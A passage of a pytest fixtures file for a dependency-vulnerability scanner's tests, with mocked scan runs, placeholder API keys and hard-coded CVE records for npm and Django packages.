\"SvWkAXZCplxSiFBEsxxqaQzKAKEkmCxsDQKzsRlpQhdAciZbFD5S6nuYRuZPn58z/Mxks8UEmxMBK9l8gNPMmE\"\n                          \"wwBJ/1OuHKvgoWQZlOY1PeoqTbyXPP4cLscW6itqBOBkxqCvBAgCIDx7ALsY2pVXjB9DL86jeZwBvfqQ4xHaiH\"\n                          \"sxr61snMtHDJJKOGg4NkyDOZKdMxhkBqwOTPjNUt4jdNabn2kt7uD1Jr6LRuinILwi2Jdg+LJ2fgnvCtj7OZ6js\"\n                          \"I9jeNluRt1hdN5DnTnE8U7LdY63TbY4bkfNTqcddvZy3A7QHYHMIGp7nturbeMxQ/Usx9ebHPf3VK51jv1sR+vA\"\n                          \"ekc8x+3VB3CUJlh/oIC6kluFvUnQsrNrMyaNm33c4+bLyyuoO8nA9YyJjk1AAyvGY9SjbMTVK3bkVUwq5D2U0Ad\"\n                          \"W98rp6k6Bkyn/B/WDLsiEjRz9En0/07wsYWOVooDRRZIoDhYwz45IjekVR+IYUuPXvhWWY4EjBy2cIlvPaxDfVC\"\n                          \"JikB1XxupM/Q/bhJIpChw2Yk9xAj2muqiLr0gN8J0gc7AHrnfmI8wRT5VTrm0N8JrnOKz4F/n22nt1Llr6IZ9w6p\"\n                          \"RJQDdIXzAviVOEHx/bgvSxaw90ZY1K3BLxFPMAqdRwaP7Cror/EzveVTJeuOhvNri4dStjzuNrh6MDaaQGcU8Wge\"\n                          \"shd6tcwA9nkd2Wa1lkh8l2N9BFxxCGpyf7jp0os+2g89db3v6eBoBb3o+ASkKiH0vtjmDuQwLVR3z61ecJ74jTs1\"\n                          \"A5Z4vL3ziCHt1kaEiBDZRcQP93IlWJJ2rrxOpHdrU/RkH23wj4wTtR4uwmMtdHaJdHWPj+SAdQjOJeAqU14f4AeC\"\n                          \"Yy5zwFU9TLqYplQMMJoPE1nrmWYl7opT8zoR2RLoldzPsA+D0FTYb+PfjQJzgt2BeVx7pkkghMa56wHns9HD+Fyx\"\n                          \"VLqjf2LaD+h+GbHiLG65mYEcsoFQUtS2uI/e92vrdDX3zj2Ya1/tTzo9V9TYB7cN0B5ZUeHGzIl0Rvsr6fzVrr+y\"\n                          \"p8l4+R7ZCLcic6WOF3Wq5X+G2TnZ263529x9Lw54L51uGzaNZDrhKoupKXEtWsR1UOrfufqwSxflFS3KLjnd5ueu\"\n                          \"anz3q7neGie2cS8HcBin/BL8U8U/AL0XOSX+jt75P82r6+RIV6DoZDXW14oKMNz5rR2TA6fr6j3WG52dFumrjvsG\"\n                          \"sp7dAH12j5wbWz+sG1vfOD6+m3b/8HQd/FwVgXAAA=\",\n            'compressionMethod': 'gzip'}\n\n\n@pytest.fixture(scope='package')\n@mock.patch.dict(os.environ, {})\ndef sca_package_2_report(package_mocker: MockerFixture, scan_result_2: Dict[str, Any]) -> Report:\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    scanner_mock = MagicMock()\n    scanner_mock.return_value.scan.return_value = scan_result_2\n    package_mocker.patch(\"checkov.sca_package_2.runner.Scanner\", side_effect=scanner_mock)\n    # package_mocker.patch()\n    def none() -> None:\n        pass\n\n    bc_integration.set_s3_integration = none\n\n    os.chdir(str(Path(__file__).parent.parent.parent))\n    return Runner().run(root_folder=EXAMPLES_DIR)\n\n\n@pytest.fixture(scope='package')\n@mock.patch.dict(os.environ, {})\ndef sca_package_report_dt(package_mocker: MockerFixture, scan_results_dt: Dict[str, Any]) -> Generator[Report, None, None]:\n    orig_bc_api_key = bc_integration.bc_api_key\n    orig_bc_source = bc_integration.bc_source\n    orig_timestamp = bc_integration.timestamp\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    bc_integration.timestamp = \"1700692537\"\n    bc_integration.bc_source = None\n\n    scanner_mock = MagicMock()\n    scanner_mock.return_value.scan.return_value = scan_results_dt\n    package_mocker.patch(\"checkov.sca_package_2.runner.Scanner\", side_effect=scanner_mock)\n    os.chdir(str(Path(__file__).parent.parent.parent))\n\n    yield Runner().run(root_folder=EXAMPLES_DIR)\n\n    bc_integration.bc_api_key = orig_bc_api_key\n    bc_integration.bc_source = orig_bc_source\n    bc_integration.timestamp = orig_timestamp\n\n\n@pytest.fixture(scope='package')\ndef sca_package_report_2_with_comma_in_licenses(package_mocker: MockerFixture,\n                                                scan_result_2_with_comma_in_licenses: List[Dict[str, Any]]) -> Report:\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    scanner_mock = MagicMock()\n    scanner_mock.return_value.scan.return_value = scan_result_2_with_comma_in_licenses\n    package_mocker.patch(\"checkov.sca_package_2.runner.Scanner\", side_effect=scanner_mock)\n    package_mocker.patch.dict(os.environ, {'CHECKOV_RUN_SCA_PACKAGE_SCAN_V2': 'true'})\n    return Runner().run(root_folder=EXAMPLES_DIR)\n\n\ndef get_sca_package_2_report_with_skip(package_mocker: MockerFixture, scan_result_2: List[Dict[str, Any]]) -> Report:\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    scanner_mock = MagicMock()\n    scanner_mock.return_value.scan.return_value = scan_result_2\n    package_mocker.patch(\"checkov.sca_package_2.runner.Scanner\", side_effect=scanner_mock)\n    runner_filter = RunnerFilter(skip_checks=[\"CKV_CVE_2020_29652\"])\n\n    return Runner().run(root_folder=EXAMPLES_DIR, runner_filter=runner_filter)\n\n\n@pytest.fixture(scope='package')\ndef sca_package_2_report_with_skip(package_mocker: MockerFixture, scan_result_2: List[Dict[str, Any]]) -> Report:\n    return get_sca_package_2_report_with_skip(package_mocker, scan_result_2)\n\n\n@pytest.fixture(scope='function')\ndef sca_package_report_2_with_skip_scope_function(package_mocker: MockerFixture,\n                                                  scan_result_2: List[Dict[str, Any]]) -> Report:\n    return get_sca_package_2_report_with_skip(package_mocker, scan_result_2)\n\n\ndef get_vulnerabilities_details_package_json() -> List[Dict[str, Any]]:\n    return [\n        {'details': {'cveId': 'PRISMA-2021-0070', 'severity': 'medium', 'packageName': 'cypress',\n                     'packageVersion': '3.8.3', 'link': '', 'cvss': 0, 'vector': '',\n                     'description': '', 'riskFactorsV2': {}, 'publishedDate': '',\n                     'status': 'fixed in 7.2.0', 'lowest_fixed_version': '7.2.0'},\n         'root_package_version': '3.8.3', 'root_package_name': 'cypress'},\n        {'details': {'cveId': 'CVE-2021-44906', 'severity': 'critical', 'packageName': 'minimist',\n                     'packageVersion': '1.2.5',\n                     'link': '', 'cvss': 9.8,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.2.6'}, 'root_package_name': 'forever',\n         'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2022-21803', 'severity': 'high', 'packageName': 'nconf', 'packageVersion': '0.6.9',\n                     'link': '', 'cvss': 7.5, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 0.11.4'}, 'root_package_name': 'forever',\n         'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2020-7598', 'severity': 'medium', 'packageName': 'minimist',\n                     'packageVersion': '0.0.10',\n                     'link': '', 'cvss': 5.6,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.2.2',\n                     }, 'root_package_name': 'forever', 'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2021-44906', 'severity': 'critical', 'packageName': 'minimist',\n                     'packageVersion': '0.0.10',\n                     'link': '', 'cvss': 9.8,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.2.6'}, 'root_package_name': 'forever',\n         'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'PRISMA-2022-0049', 'severity': 'high', 'packageName': 'unset-value',\n                     'packageVersion': '1.0.0',\n                     'link': '',\n                     'cvss': 8, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'status': 'fixed in 2.0.1',\n                     'publishedDate': ''}, 'root_package_name': 'forever',\n         'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2020-28469', 'severity': 'high', 'packageName': 'glob-parent',\n                     'packageVersion': '3.1.0',\n                     'link': '', 'cvss': 7.5,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 5.1.2'},\n         'root_package_name': 'forever', 'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2022-38900', 'severity': 'low', 'packageName': 'decode-uri-component',\n                     'packageVersion': '0.2.0',\n                     'link': '', 'cvss': 1,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 0.2.1'},\n         'root_package_name': 'forever', 'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2022-21803', 'severity': 'high', 'packageName': 'nconf', 'packageVersion': '0.10.0',\n                     'link': '', 'cvss': 7.5,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 0.11.4'}, 'root_package_name': 'forever',\n         'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2022-1537', 'severity': 'high', 'packageName': 'grunt', 'packageVersion': '1.4.1',\n                     'link': '', 'cvss': 7,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.5.3'}, 'root_package_name': 'grunt',\n         'root_package_version': '1.4.1'},\n        {'details': {'cveId': 'CVE-2022-0436', 'severity': 'medium', 'packageName': 'grunt', 'packageVersion': '1.4.1',\n                     'link': '', 'cvss': 5.5,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.5.2'},\n         'root_package_name': 'grunt', 'root_package_version': '1.4.1'},\n        {'details': {'cveId': 'CVE-2017-16137', 'severity': 'medium', 'packageName': 'debug', 'packageVersion': '2.2.0',\n                     'link': '', 'cvss': 5.3,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 3.1.0, 2.6.9'},\n         'root_package_name': 'helmet', 'root_package_version': '2.3.0', 'root_package_fix_version': '2.4.0'},\n        {'details': {'cveId': 'GHSA-C3M8-X3CG-QM2C', 'severity': 'medium', 'packageName': 'helmet-csp',\n                     'packageVersion': '1.2.2', 'link': '', 'cvss': 4, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 2.9.1',\n                     'rootPackageFixedVersion': '2.4.0'},\n         'root_package_name': 'helmet', 'root_package_version': '2.3.0'},\n        {'details': {'cveId': 'GHSA-C3M8-X3CG-QM2C', 'severity': 'medium', 'packageName': 'helmet',\n                     'packageVersion': '2.3.0', 'link': '', 'cvss': 4, 'vector': '',\n                     'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 2.4.0'},\n         'root_package_name': 'helmet', 'root_package_version': '2.3.0'},\n        {'details': {'cveId': 'PRISMA-2021-0013', 'severity': 'medium', 'packageName': 'marked',\n                     'packageVersion': '0.3.9',\n                     'link': '', 'cvss': 0, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.1.1'}, 'root_package_name': 'marked',\n         'root_package_version': '0.3.9'},\n        {'details': {'cveId': 'CVE-2022-21681', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9',\n                     'link': '', 'cvss': 7.5,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 4.0.10'}, 'root_package_name': 'marked',\n         'root_package_version': '0.3.9'},\n        {'details': {'cveId': 'CVE-2022-21680', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9',\n                     'link': '', 'cvss': 7.5,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 4.0.10'}, 'root_package_name': 'marked',\n         'root_package_version': '0.3.9'},\n        {'details': {'cveId': 'PRISMA-2022-0230', 'severity': 'high', 'packageName': 'mocha', 'packageVersion': '2.5.3',\n                     'link': '', 'cvss': 7.5, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'open'},\n         'root_package_name': 'mocha', 'root_package_version': '2.5.3'},\n        {'details': {'cveId': 'PRISMA-2022-0335', 'severity': 'medium', 'packageName': 'mocha',\n                     'packageVersion': '2.5.3',\n                     'link': '',\n                     'cvss': 5.3, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'open'},\n         'root_package_name': 'mocha', 'root_package_version': '2.5.3'},\n        {'details': {'cveId': 'GHSA-MH5C-679W-HH4R', 'severity': 'high', 'packageName': 'mongodb',\n                     'packageVersion': '2.2.36',\n                     'link': '', 'cvss': 7, 'vector': '', 'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 3.1.13'}, 'root_package_name': 'mongodb',\n         'root_package_version': '2.2.36'},\n        {'details': {'cveId': 'CVE-2019-2391', 'severity': 'medium', 'packageName': 'bson', 'packageVersion': '1.0.9',\n                     'link': '', 'cvss': 4, 'vector': '', 'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.1.4'\n                     }, 'root_package_name': 'mongodb', 'root_package_version': '2.2.36'},\n        {'details': {'cveId': 'CVE-2020-7610', 'severity': 'critical', 'packageName': 'bson', 'packageVersion': '1.0.9',\n                     'link': '', 'cvss': 9.8,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.1.4'\n                     }, 'root_package_name': 'mongodb', 'root_package_version': '2.2.36'},\n        {'details': {'cveId': 'CVE-2020-7598', 'severity': 'medium', 'packageName': 'minimist',\n                     'packageVersion': '0.0.10',\n                     'link': '', 'cvss': 5.6, 'vector': '', 'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.2.2'}, 'root_package_name': 'swig',\n         'root_package_version': '1.4.2'},\n        {'details': {'cveId': 'CVE-2021-44906', 'severity': 'critical', 'packageName': 'minimist',\n                     'packageVersion': '0.0.10',\n                     'link': '', 'cvss': 9.8,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.2.6'}, 'root_package_name': 'swig',\n         'root_package_version': '1.4.2'},\n        {'details': {'cveId': 'PRISMA-2021-0169', 'severity': 'medium', 'packageName': 'uglify-js',\n                     'packageVersion': '2.4.24', 'link': '',\n                     'cvss': 5.3, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 3.14.3'}, 'root_package_name': 'swig',\n         'root_package_version': '1.4.2'},\n        {'details': {'cveId': 'CVE-2015-8858', 'severity': 'high', 'packageName': 'uglify-js',\n                     'packageVersion': '2.4.24',\n                     'link': '', 'cvss': 7,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 2.6.0'},\n         'root_package_name': 'swig', 'root_package_version': '1.4.2'}\n    ]\n\ndef get_vulnerabilities_details_package_lock_json() -> List[Dict[str, Any]]:\n    return [\n        {'details': {'cveId': 'PRISMA-2021-0070', 'severity': 'medium', 'packageName': 'cypress',\n                     'packageVersion': '3.8.3', 'link': '', 'cvss': 0, 'vector': '',\n                     'description': '', 'riskFactorsV2': {}, 'publishedDate': '',\n                     'status': 'fixed in 7.2.0', 'lowest_fixed_version': '7.2.0'},\n         'root_package_version': '3.8.3', 'root_package_name': 'cypress'},\n        {'details': {'cveId': 'CVE-2021-44906', 'severity': 'critical', 'packageName': 'minimist',\n                     'packageVersion': '1.2.5',\n                     'link': '', 'cvss': 9.8,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.2.6'}, 'root_package_name': 'forever',\n         'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2022-21803', 'severity': 'high', 'packageName': 'nconf', 'packageVersion': '0.6.9',\n                     'link': '', 'cvss': 7.5, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 0.11.4'}, 'root_package_name': 'forever',\n         'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2002-21803', 'severity': 'high', 'packageName': 'nconf', 'packageVersion': '0.6.9',\n                     'link': '', 'cvss': 7.5, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 0.11.4'}, 'root_package_name': 'forever',\n         'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2020-7598', 'severity': 'medium', 'packageName': 'minimist',\n                     'packageVersion': '0.0.10',\n                     'link': '', 'cvss': 5.6,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.2.2',\n                     }, 'root_package_name': 'forever', 'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2021-44906', 'severity': 'critical', 'packageName': 'minimist',\n                     'packageVersion': '0.0.10',\n                     'link': '', 'cvss': 9.8,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.2.6'}, 'root_package_name': 'forever',\n         'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'PRISMA-2022-0049', 'severity': 'high', 'packageName': 'unset-value',\n                     'packageVersion': '1.0.0',\n                     'link': '',\n                     'cvss': 8, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'status': 'fixed in 2.0.1',\n                     'publishedDate': ''}, 'root_package_name': 'forever',\n         'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2020-28469', 'severity': 'high', 'packageName': 'glob-parent',\n                     'packageVersion': '3.1.0',\n                     'link': '', 'cvss': 7.5,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 5.1.2'},\n         'root_package_name': 'forever', 'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2022-38900', 'severity': 'low', 'packageName': 'decode-uri-component',\n                     'packageVersion': '0.2.0',\n                     'link': '', 'cvss': 1,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 0.2.1'},\n         'root_package_name': 'forever', 'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2022-21803', 'severity': 'high', 'packageName': 'nconf', 'packageVersion': '0.10.0',\n                     'link': '', 'cvss': 7.5,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 0.11.4'}, 'root_package_name': 'forever',\n         'root_package_version': '2.0.0'},\n        {'details': {'cveId': 'CVE-2022-1537', 'severity': 'high', 'packageName': 'grunt', 'packageVersion': '1.4.1',\n                     'link': '', 'cvss': 7,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.5.3'}, 'root_package_name': 'grunt',\n         'root_package_version': '1.4.1'},\n        {'details': {'cveId': 'CVE-2022-0436', 'severity': 'medium', 'packageName': 'grunt', 'packageVersion': '1.4.1',\n                     'link': '', 'cvss': 5.5,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.5.2'},\n         'root_package_name': 'grunt', 'root_package_version': '1.4.1'},\n        {'details': {'cveId': 'CVE-2017-16137', 'severity': 'medium', 'packageName': 'debug', 'packageVersion': '2.2.0',\n                     'link': '', 'cvss': 5.3,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 3.1.0, 2.6.9'},\n         'root_package_name': 'helmet', 'root_package_version': '2.3.0', 'root_package_fix_version': '2.4.0'},\n        {'details': {'cveId': 'GHSA-C3M8-X3CG-QM2C', 'severity': 'medium', 'packageName': 'helmet-csp',\n                     'packageVersion': '1.2.2', 'link': '', 'cvss': 4, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 2.9.1',\n                     'rootPackageFixedVersion': '2.4.0'},\n         'root_package_name': 'helmet', 'root_package_version': '2.3.0'},\n        {'details': {'cveId': 'GHSA-C3M8-X3CG-QM2C', 'severity': 'medium', 'packageName': 'helmet',\n                     'packageVersion': '2.3.0', 'link': '', 'cvss': 4, 'vector': '',\n                     'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 2.4.0'},\n         'root_package_name': 'helmet', 'root_package_version': '2.3.0'},\n        {'details': {'cveId': 'PRISMA-2021-0013', 'severity': 'medium', 'packageName': 'marked',\n                     'packageVersion': '0.3.9',\n                     'link': '', 'cvss': 0, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.1.1'}, 'root_package_name': 'marked',\n         'root_package_version': '0.3.9'},\n        {'details': {'cveId': 'CVE-2022-21681', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9',\n                     'link': '', 'cvss': 7.5,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 4.0.10'}, 'root_package_name': 'marked',\n         'root_package_version': '0.3.9'},\n        {'details': {'cveId': 'CVE-2022-21680', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9',\n                     'link': '', 'cvss': 7.5,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 4.0.10'}, 'root_package_name': 'marked',\n         'root_package_version': '0.3.9'},\n        {'details': {'cveId': 'PRISMA-2022-0230', 'severity': 'high', 'packageName': 'mocha', 'packageVersion': '2.5.3',\n                     'link': '', 'cvss': 7.5, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'open'},\n         'root_package_name': 'mocha', 'root_package_version': '2.5.3'},\n        {'details': {'cveId': 'PRISMA-2022-0335', 'severity': 'medium', 'packageName': 'mocha',\n                     'packageVersion': '2.5.3',\n                     'link': '',\n                     'cvss': 5.3, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'open'},\n         'root_package_name': 'mocha', 'root_package_version': '2.5.3'},\n        {'details': {'cveId': 'GHSA-MH5C-679W-HH4R', 'severity': 'high', 'packageName': 'mongodb',\n                     'packageVersion': '2.2.36',\n                     'link': '', 'cvss': 7, 'vector': '', 'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 3.1.13'}, 'root_package_name': 'mongodb',\n         'root_package_version': '2.2.36'},\n        {'details': {'cveId': 'CVE-2019-2391', 'severity': 'medium', 'packageName': 'bson', 'packageVersion': '1.0.9',\n                     'link': '', 'cvss': 4, 'vector': '', 'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.1.4'\n                     }, 'root_package_name': 'mongodb', 'root_package_version': '2.2.36'},\n        {'details': {'cveId': 'CVE-2020-7610', 'severity': 'critical', 'packageName': 'bson', 'packageVersion': '1.0.9',\n                     'link': '', 'cvss': 9.8,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.1.4'\n                     }, 'root_package_name': 'mongodb', 'root_package_version': '2.2.36'},\n        {'details': {'cveId': 'CVE-2020-7598', 'severity': 'medium', 'packageName': 'minimist',\n                     'packageVersion': '0.0.10',\n                     'link': '', 'cvss': 5.6, 'vector': '', 'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.2.2'}, 'root_package_name': 'swig',\n         'root_package_version': '1.4.2'},\n        {'details': {'cveId': 'CVE-2021-44906', 'severity': 'critical', 'packageName': 'minimist',\n                     'packageVersion': '0.0.10',\n                     'link': '', 'cvss': 9.8,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 1.2.6'}, 'root_package_name': 'swig',\n         'root_package_version': '1.4.2'},\n        {'details': {'cveId': 'PRISMA-2021-0169', 'severity': 'medium', 'packageName': 'uglify-js',\n                     'packageVersion': '2.4.24', 'link': '',\n                     'cvss': 5.3, 'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {},\n                     'publishedDate': '', 'status': 'fixed in 3.14.3'}, 'root_package_name': 'swig',\n         'root_package_version': '1.4.2'},\n        {'details': {'cveId': 'CVE-2015-8858', 'severity': 'high', 'packageName': 'uglify-js',\n                     'packageVersion': '2.4.24',\n                     'link': '', 'cvss': 7,\n                     'vector': '',\n                     'description': '',\n                     'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 2.6.0'},\n         'root_package_name': 'swig', 'root_package_version': '1.4.2'}\n    ]\n\ndef get_vulnerabilities_details() -> List[Dict[str, Any]]:\n    return [\n        {\n            \"id\": \"CVE-2019-19844\",\n            \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n            \"cvss\": 9.8,\n            \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n            \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\",\n            \"severity\": \"critical\",\n            \"packageName\": \"django\",\n            \"packageVersion\": \"1.2\",\n            \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n            \"riskFactorsV2\": {\n                \"Attack complexity\": \"low\",\n                \"Attack vector\": \"network\",\n            },\n            \"impactedVersions\": [\"<1.11.27\"],\n            \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n            \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n            \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n        },\n        {\n            \"id\": \"CVE-2016-6186\",\n            \"status\": \"fixed in 1.9.8, 1.8.14\",\n            \"cvss\": 6.1,\n            \"vector\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\",\n            \"description\": \"Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function ...\",\n            \"severity\": \"medium\",\n            \"packageName\": \"django\",\n            \"packageVersion\": \"1.2\",\n            \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2016-6186\",\n            \"riskFactorsV2\": {\n                \"Attack complexity\": \"low\",\n                \"Attack vector\": \"network\",\n            },\n            \"impactedVersions\": [\"<=1.8.13\"],\n            \"publishedDate\": \"2016-08-05T17:59:00+02:00\",\n            \"discoveredDate\": \"2016-08-05T15:59:00Z\",\n            \"fixDate\": \"2016-08-05T17:59:00+02:00\",\n        },\n    ]\n\n\ndef get_vulnerabilities_details_is_used_packages() -> List[Dict[str, Any]]:\n    return [\n        {\n            \"id\": \"CVE-FAKE-111\",\n            \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n            \"cvss\": 9.8,\n            \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n            \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\",\n            \"severity\": \"critical\",\n            \"packageName\": \"package1\",\n            \"packageVersion\": \"1.1.1\",\n            \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n            \"riskFactorsV2\": {\n                \"Attack complexity\": \"low\",\n                \"Attack vector\": \"network\",\n                \"IsUsed\": False,\n                \"ReachableFunction\": False,\n            },\n            \"impactedVersions\": [\"<1.11.27\"],\n            \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n            \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n            \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n        },\n        {\n            \"id\": \"CVE-FAKE-222\",\n            \"status\": \"fixed in 1.9.8, 1.8.14\",\n            \"cvss\": 6.1,\n            \"vector\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\",\n            \"description\": \"Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function ...\",\n            \"severity\": \"medium\",\n            \"packageName\": \"package2\",\n            \"packageVersion\": \"2.2.2\",\n            \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2016-6186\",\n            \"riskFactorsV2\": {\n                \"Attack complexity\": \"low\",\n                \"Attack vector\": \"network\",\n                \"IsUsed\": True,\n                \"ReachableFunction\": False,\n            },\n            \"impactedVersions\": [\"<=1.8.13\"],\n            \"publishedDate\": \"2016-08-05T17:59:00+02:00\",\n            \"discoveredDate\": \"2016-08-05T15:59:00Z\",\n            \"fixDate\": \"2016-08-05T17:59:00+02:00\",\n        },\n        {\n            \"id\": \"CVE-FAKE-333\",\n            \"status\": \"fixed in 1.9.8, 1.8.14\",\n            \"cvss\": 6.1,\n            \"vector\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\",\n            \"description\": \"Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function ...\",\n            \"severity\": \"medium\",\n            \"packageName\": \"package3\",\n            \"packageVersion\": \"3.3.3\",\n            \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2016-6186\",\n            \"riskFactorsV2\": {\n                \"Attack complexity\": \"low\",\n                \"Attack vector\": \"network\",\n                